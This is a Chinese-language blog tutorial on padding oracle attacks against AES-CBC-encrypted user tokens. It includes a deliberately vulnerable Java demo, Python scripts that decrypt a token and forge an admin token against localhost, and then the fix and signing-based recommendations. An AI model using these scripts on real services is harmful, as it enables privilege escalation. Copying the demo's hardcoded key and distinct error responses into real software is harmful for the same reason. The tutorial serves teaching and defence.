0x00 前言 这里结合实际遇到的实现用户Token场景,在设计上使用了AES-CBC加密算法,会有些安全问题需要注意。因此,写下这篇文章分享下1个有趣的攻击方法。文章会简单其介绍原理,着重给出1个代码示例场景,来介绍1种加密算法的攻击方法——padding oracle 。 文章会首先给出代码业务场景,再从攻击者视角 阐述整个攻击过程,接着从RD程序员视角 剖析问题产生原因、定位错误代码,最后从安全视角 讨论针对该攻击应该采取的安全措施、加密算法脆弱性。 总之,这里主要是根据自己审计代码的经验,来模拟展现黑客的攻击方法和攻击产生的直观效果,并提出一些安全方面的建议。深入padding oracle算法的攻击原理以及相关阅读材料,请看这篇文章 。
0x01 简单原理介绍 直接看Demo和攻击实现,可跳过这部分。
1.加密基础和攻击方法 强烈建议直接看参考文章1这里根据我自己的理解,简单提取几个点:
AES是分组加密的,明文的最后一个Block不足分组长度时,会填充一个固定值,大小是需填充的字节总数。 填充规则具体为:(引用参考文章1的图)
AES算法的CBC模式。在每个Block解密后,会异或”前一个密文Block”,得到明文。若最后1个解密出的明文padding填充值错误,会导致解密不成功,报错。
攻击者通过不断改变“前一个Block” ,改变“后1个Block密文”的明文 。通过返回结果,来判断解密是否成功。进而获取“后一个Block” 解密出的“立即数”,得到“立即数”就能解密密文,加密明文。
大于2组的密文,攻击者可以按规则选取其中2组block进行尝试,从而达到加密解密所有Block的效果。
2.攻击条件 该攻击产生的必要条件:
密文的解密成功和失败,会出现不一样的响应(Response)。
AES-CBC模式的加密模式。
3.攻击效果 Padding Oracle攻击可以达到的效果:
相当于攻击者已经知道了密钥。
0x02 业务场景模拟 以下场景纯属虚构,如有雷同,纯属巧合~ 软件开发工程师小明同学接到了研发任务,需要实现1套用户Token体系,Token存储用户的ID、角色(是否为管理员)等信息。 小明同学设计了以下方案:
用户的ID和角色信息使用JSON格式存储。
使用高级加密算法(AES-CBC模式)对JSON格式的用户信息进行加密。
后端通过解密Token来提取用户ID和角色信息。
于是,小明同学开始废寝忘食地写代码。 用户信息的Model类,如下:
1 2 3 4 5 @Data public class AccountInfo { int id; bool ean opAdmin; }
生成普通用户Token的/genGuestToken
接口和校验用户Token的/checkToken
接口,具体实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 private static final String AES_ALGORITHM = "AES"; private static final String AES_CBC_PKC_ALGORITHM = "AES/CBC/PKCS5Padding"; private static int ivSize = 16 ; private static String mykey = "youareagoodman!@"; @RequestMapping("/checkToken") public String decrpyt(String token) { byte[] tokenBytes = Base64.getDecoder().decode(token); byte[] iv = new byte[ivSize]; System .arraycopy(tokenBytes, 0 , iv, 0 , iv.length); IvParameterSpec ivParameterSpec = new IvParameterSpec(iv); int encryptedSize = tokenBytes.length - ivSize; byte[] encryptedBytes = new byte[encryptedSize]; System .arraycopy(tokenBytes, ivSize, encryptedBytes, 0 , encryptedSize); byte[] keyBytes = mykey.getBytes(); SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, AES_ALGORITHM); byte[] plaintxt; try { Cipher cipherDecrypt = Cipher.getInstance(AES_CBC_PKC_ALGORITHM); cipherDecrypt.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec); plaintxt = cipherDecrypt.doFinal(encryptedBytes); } catch (Exception e) { //e.printStackTrace(); return "decrypt error"; } System .out .println(new String(plaintxt)); try { AccountInfo accountInfo = JSON .parseObject(plaintxt, AccountInfo.class ); if (accountInfo.isOpAdmin()) { return "Welcome, My Admin"; } }catch (Exception e){ return "parse json err~ "; } return "Welcome, My Guest"; } @RequestMapping("/genGuestToken") public String genGuestToken() { // AES/CBC/Encrypt~ // https://gist.github.com/itarato/abef95871756970a9dad AccountInfo accountInfo = new AccountInfo(); accountInfo.setId(100 ); accountInfo.setOpAdmin(false ); String plainText = JSON .toJSONString(accountInfo); System .out .println(plainText); byte[] clean = plainText.getBytes(); byte[] iv = "JustDoIt:iv/cbc~".getBytes(); IvParameterSpec ivParameterSpec = new IvParameterSpec(iv); byte[] keyBytes = mykey.getBytes(); SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, "AES"); // Encrypt~ try { Cipher cipher = Cipher.getInstance(AES_CBC_PKC_ALGORITHM); cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec, ivParameterSpec); byte[] encrypted = cipher.doFinal(clean); // Combine IV and encrypted part. byte[] encryptedIVAndText = new byte[ivSize + encrypted .length]; System .arraycopy(iv, 0 , encryptedIVAndText, 0 , ivSize); System .arraycopy(encrypted , 0 , encryptedIVAndText, ivSize, encrypted .length); return new String(Base64.getEncoder().encode(encryptedIVAndText)); } catch (Exception e) { e.printStackTrace(); } return "error"; }
上述代码的AES加解密部分,参考了github和部分业务代码上的实现。基本表达了业务场景:
用户登陆后,会获得属于自己的秘密Token。代码里面使用/genGuestToken
接口来模拟。
用户在操作相关资源时,后端会首先通过解析Token来获取用户信息。这里使用/checkToken
接口来模拟。
0x03 从攻击者视角看攻击过程和效果 1. 理清思路 安全工程师小华同学同样接到了任务,需要对小明同学写的系统进行安全评估工作。经过日以继夜地肉眼扫描,整理出了已知信息。
Token通过Base64解码,可以发现似乎是AES加密:字节长度为48,iv为JustDoIt:iv/cbc~
。 他翻了翻Web安全从业者必读书籍《白帽子讲Web安全》,惊喜地发现好像可以尝试paddingOracle攻击,于是他开始度过又一个宁静的夜晚。
2. 确定PaddingOracle攻击是否可行 首先,小华同学准备提取前2个Block的数据,变换iv的最后一位,看看会不会有啥不同。于是,他写了个python脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 __author__ = 'angelwhu' import base64import requestsimport urllibcrypt_bytes = base64.b64decode("SnVzdERvSXQ6aXYvY2Jjfjhtbz4drcgEqHMHLK+gDcH9fJe4YJIIzmZKIh+nbqOR" ) print crypt_bytesprint len(crypt_bytes)session = requests.session() headers = {"User-Agent" : "Mozilla/5.0 (Linux; Android 9.0; Z832 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Mobile Safari/537.36" , "Accept" : "*/*" , "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" , "Accept-Encoding" : "gzip, deflate" , "x-requested-with" : "XMLHttpRequest" } for i in range(256 ): token = crypt_bytes[:15 ] + chr(i) + crypt_bytes[16 :32 ] check_token = base64.b64encode(token) print check_token response = session.get("http://127.0.0.1:8080/checkToken?token=" +urllib.quote(check_token), headers=headers) print u'' .join(response.text).encode('utf-8' ).strip(); print len(response.text)
结果很令人兴奋,发现存在唯一1个不一样的response:
1 2 3 SnVzdERvSXQ6 aXYvY2 JjEjhtbz4 drcgEqHMHLK+gDcE= "parse json err~ " 18
其余结果都是:
1 2 3 SnVzdERvSXQ6 aXYvY2 JjEThtbz4 drcgEqHMHLK+gDcE= "decrypt error" 15
小华兴奋地跳了起来,因为他知道这样就证明攻击是可以成功的。接下来,就是如何完整利用的问题了。
3. 使用padding Orcacle攻击解密Token 小华知道github上有个好用的工具 可以自动化地实施该攻击。于是,他使用友好的python语言写了如下脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from paddingoracle import BadPaddingException, PaddingOraclefrom base64 import b64encode, b64decodefrom urllib import quote, unquoteimport requestsimport socketimport timeclass PadBuster (PaddingOracle) : def __init__ (self, **kwargs) : super(PadBuster, self).__init__(**kwargs) self.session = requests.Session() self.wait = kwargs.get('wait' , 2.0 ) def oracle (self, data, **kwargs) : token = quote(b64encode(data)) while 1 : try : response = self.session.get('http://127.0.0.1:8080/checkToken?token=' + token, stream=False , timeout=5 , verify=False ) break except (socket.error, requests.exceptions.RequestException): logging.exception('Retrying request in %.2f seconds...' , self.wait) time.sleep(self.wait) continue self.history.append(response) if "decrypt error" not in response.text: logging.debug('No padding exception raised on %r' , token) return raise BadPaddingException if __name__ == '__main__' : import logging logging.basicConfig(level=logging.DEBUG) token = "SnVzdERvSXQ6aXYvY2Jjfjhtbz4drcgEqHMHLK+gDcH9fJe4YJIIzmZKIh+nbqOR" encrypted_token = b64decode(token) padbuster = PadBuster() plaintext_padding = padbuster.decrypt(encrypted_token, block_size=16 , iv=bytearray(16 )) print('Decrypted some token: %s => %r' % (token, plaintext_padding)) ''' admin_plaintext_padding = '{"id":100,"opAdmin":true}' encrypted_padding = padbuster.encrypt(admin_plaintext_padding, block_size=16, iv=bytearray(16)) print quote(b64encode(encrypted_padding)) '''
运行之后,成功解密了Token,得到了明文{"id":100,"opAdmin":false}
。
1 Decrypted some token: SnVzdERvSXQ6 aXYvY2 Jjfjhtbz4 drcgEqHMHLK+gDcH9 fJe4 YJIIzmZKIh+nbqOR => bytearray(b'k<\x 8 a(\x 19 +l\xf2 \x 94 \'sP\x 1 b%)\x 15 {"id" :100 ,"opAdmin" :false }\x 06 \x 06 \x 06 \x 06 \x 06 \x 06 ')
小华同学现在可以“干坏事”了,他尝试提升自己权限为管理员,来证明漏洞存在。他尝试加密明文{"id":100,"opAdmin":true}
,得到1个管理员的Token。 代码在上面的注释部分,运行得到的Token为:cE5+Av3aJ5qnS8SIJ47s06y43A0e67DlcDZSNFJKRGAAAAAAAAAAAAAAAAAAAAAA
。 ps:原工具加密明文的时候可能会有多出1个BlockSize的bug,有兴趣可以参考我这个commit改下~https://github.com/mwielgoszewski/python-paddingoracle/pull/7/commits/e5e690c7c7c7c5abaa6e09c6fb05599c4f4dea67 . 小华同学使用这个Token,成功获取了管理员权限。对比GuestToken和管理员Token,如下: 小华同学终于满意地眯上了双眼,摸着稀疏的头发,迎接黎明。哟~又掉了两根。
0x04 从程序员视角看代码问题 RD小明同学收到了安全部关于漏洞测试的报告和修复建议,报告中提到:
要防止padding oracle攻击其实很简单,让解密失败和解析JSON失败抛出相同的异常(返回给用户的Response一样) 即可。这样攻击者无法利用额外的信息(侧信道)来判断密文是否有合适的padding并解密成功。安全方面有个原则,返回给用户的Application错误信息不要太详细,越少越好 。
小明同学意识到,攻击者通过程序返回的报错信息不同来判断Token是否能够成功AES解密。即:parse json err~
和decrypt error
的不同。因此,将异常处理部分改成如下所示,修复了漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 try { Cipher cipherDecrypt = Cipher . getInstance(AES_CBC_PKC_ALGORITHM) ; cipherDecrypt.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec); plaintxt = cipherDecrypt.do Final(encryptedBytes ) ; } catch (Exception e) { return "error" ; } System . out.println(new String(plaintxt ) );try { AccountInfo accountInfo = JSON . parseObject(plaintxt , AccountInfo.class ) ; if (accountInfo.isOpAdmin() ) { return "Welcome, My Admin" ; } }catch (Exception e){ return "error" ; }
上述代码情况下,无论Token是否成功解密,都只会返回相同的结果“error”。攻击者便无法从侧面信息,来判断Token的解密情况,也就无从下手了。
0x05 从安全视角看防护措施 站在安全的视角上来考虑,这种使用AES加密算法来存储用户Token的方法还是会有问题。比如:攻击者可以通过改变IV,进而改变第一个Block解密成明文的结果(有兴趣的同学可以搜索下CBC翻转攻击)。但攻击者不知道业务数据格式是怎样的,且只能改变第一个Block,存在局限性,但风险还是有的。 思考下,为什么会产生这样的安全风险呢? 我的理解是如何在业务中合理使用各种加密算法。在设计用户Token的时候,关键点应该是防止Token中的用户信息被篡改 。在这样的前提下,应该优先考虑签名机制。
推荐方案是:使用HMAC-SHA256哈希算法对用户Token再套1层签名机制 ,在服务端验证Token是否被篡改。网上也有一些最佳实践参考,比如:JWT Token方案。
多说下,加密算法本身也和Web技术一样在不断更迭中,合理地选型可以避免很多安全问题。
0x06 总结 简单总结下,本文简单介绍了padding oracle攻击的原理。主要通过模拟业务实现用户Token的Demo,从攻击者、程序员、安全工作者不同视角来讨论该攻击的过程、效果以及加密算法的合理使用及其脆弱性。
0x07 参考链接 我对Padding Oracle攻击的分析和思考(详细) Padding oracle attack维基百科